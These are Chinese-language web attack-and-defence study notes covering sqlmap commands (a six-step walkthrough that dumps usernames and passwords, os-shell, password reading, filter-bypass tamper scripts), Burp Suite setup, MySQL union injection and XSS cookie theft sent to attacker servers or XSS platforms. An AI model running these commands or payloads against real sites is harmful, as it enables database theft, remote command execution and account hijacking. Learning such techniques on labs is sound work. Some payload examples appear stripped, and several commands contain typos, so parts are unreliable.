web安全攻防笔记

1.SQLmap 

是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。

支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(1)      安装sqlmap前,需要先安装Python3.X

Python Releases for Windows | Python.org

(2)      在环境变量path中,增加python3.x 安装路径

(3)      下载sqlmap并解压缩:

地址:sqlmap: automatic SQL injection and database takeover tool

Python sqlmap.py -u http://xxx.xxx.xxx/

Python sqlmap.py –help 查看帮助 borp

 sqlmap支持五种不同的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • uError-based SQL injection(报错型注入)
  • uBoolean-based blind SQL injection(布尔型注入)
  • uTime-based blind SQL injection(基于时间延迟注入)
  • uStacked queries SQL injection(可多语句查询注入)

2.sqlmap 常用命令参数

-u  /--url  最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”

-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt

-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….

--dbs 返回当前连接的数据库

--current-db 返回当前网站数据库的数据库用户

-D 指定数据库系统的数据库名

--tables 列举数据库表

-T 指定数据库表名

--columns 列举数据库表中的字段

-C 指定数据库表中的字段名

--dump 获取整个表的数据

3.设置回显等级

参数: -v默认为1

0 只显示python错误以及严重的信息

1 基本信息和警告信息

2 debug信息

3 注入的payload

(级别越高显示信息越多)

 4同时显示HTTP请求。

5同时显示HTTP响应头。

6同事显示HTTP响应页面。

--data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。

--cookie (用于区分用户)

可能会有漏洞,当web登录时,抓取数据包。

 4.设置HTTP数据包相关参数

HTTP User-Agent 头

参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

5.设定探测等级:--level

共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到

--users 列数据库管理用户

--current-user 在数据库中,目前连接的用户

--is-dba 判断当前是否为管理,是的话返回true

--proxy 指定一个代理服务器  eg: -proxy http://xxxxxx.8080

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限

 6.Sqlmap“六步”

第一步:判断是否注是注入点

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)

检测该网站是否存在漏洞   白色加粗字体为注入点 也就是攻击对象

 

web安全攻防笔记_第1张图片

第二步:获取数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

 

web安全攻防笔记_第2张图片

第三步:查看当前应用程序所用数据库

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”  --current-db

 

web安全攻防笔记_第3张图片

四:列出指定数据库的所有表

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

 

web安全攻防笔记_第4张图片

五:读取指定表中的字段名称

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

 

web安全攻防笔记_第5张图片

六:读取指定字段内容

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)

 

web安全攻防笔记_第6张图片

 

判断当前数据库用户权限:

sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba

如果是TRUE  ,那么权限该用户很大。

 

web安全攻防笔记_第7张图片

-roles 列出数据库管理员角色

 如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

 

web安全攻防笔记_第8张图片

-referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

-sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

运行任意操作系统命令:

选择后台语言

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

 

--os-cmd=whoami

--os-shell

(以你的电脑为跳板,对局域网进行渗透,或留后门)

--file-read 从数据库服务器中读取文件  :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

上传文件到数据库服务器中:

--file-write

--file-dest

读取指定数据库用户的密码 

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

SQLMAP进阶 常用tamper脚本

  apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)

适用数据库:ALL

作用:将引号替换为utf-8,用于过滤单引号

使用脚本前:tamper("1 AND '1'='1")

使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

  multiplespaces.py  围绕sql关键字添加多个空格 去绕过

适用数据库:ALL

作用:围绕sql关键字添加多个空格

使用脚本前:tamper('1 UNION SELECT foobar')

使用脚本后:1 UNION SELECT foobar

 

3. Burp Suite工具

一.配置及代理设置

1.使用前配置

①选择代理Proxy选项卡

②选择设置option选项卡

③Edit Running打勾  124.0.0.1:8080

web安全攻防笔记_第9张图片

web安全攻防笔记_第10张图片

web安全攻防笔记_第11张图片

web安全攻防笔记_第12张图片

配置成功

web安全攻防笔记_第13张图片

历史访问

 

web安全攻防笔记_第14张图片

二.功能模块讲解

 

web安全攻防笔记_第15张图片

web安全攻防笔记_第16张图片

web安全攻防笔记_第17张图片

web安全攻防笔记_第18张图片

web安全攻防笔记_第19张图片

 

模块介绍

send to spider 发送给爬虫模块

do a active scan 进行一次主动扫描

send to intruder 发送给爆破模块

send to repearter 发送给重放模块

send to comparer 发送给比对模块

send to decoder 发送给解码模块

request in browser 将请求在浏览器重放

 四:MYSQL与SQL注入

mysql知识点- 基本查询语句

  1. 查询表中全部信息: select *from 表明-关键的函数

select+以下语句

       version() 数据库版本

       database() 数据库名

       user() 用户名

       current_user() 当前用户名

       system_user() 系统用户名

       @@datadir 数据库路径

       @@version_compile_os 操作系统版本

-order by(排序) 语法

-联合查询

order by 1—

order by 2—确定字段数

   使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据

  注意: 相同的列结构

               需要有知道表结构,列结构

       exists()函数猜解表明

       information_schema 是一个mysql系统自带的元数据库

information_schema.SCHEMATA 查看所有的数据库

五、 XSS基础

1、什么是XSS?

       中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。

2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。

  攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)

3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号

                            2.窃取用户cookies资料,从而获取用户信息。

                            3.获取客户端信息,IP/端口等

                            4.劫持用户浏览器会话,从而执行任意操作

                            5.强制弹出窗口。

                            6.网页挂马,进行恶意操作

                            7.进行大量的客户端攻击 如DDoS攻击

                            8.控制受害者机器向其他客户端攻击

4、XSS分类  

①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。

特点:

① 主要用于将恶意脚本附加到URL地址的参数中

② 只在用户单击url时触发,而且只执行一次,非持久化

③常用来窃取客户端 Cookies

或进行钓鱼欺骗.

④常常为通过引诱用户点击一

个恶意链接来实施攻击的)

name为可控参数

 

web安全攻防笔记_第20张图片

web安全攻防笔记_第21张图片

我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。

       当我们构造好了如下恶意代码,发送给受害者。

       将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。

  • 利用XSS弹出恶意警告框

   

  •  网页不停刷新

http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=

  • 获得cookie

  • 劫持流量(跳转到你的博客强行吸粉)

③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。 

 xss平台

1.获取COOKIE(这是必须的最基本的功能)

2.获取源码(取当前网页的源码)

3.截图(可自己修改为连续截图)

https://xss.pt

https://xssaq.com

  • XSS利用——无任何过滤

    • alert(1);

    •          //onerror等事件,可以调用js



    •       //src中支持伪协议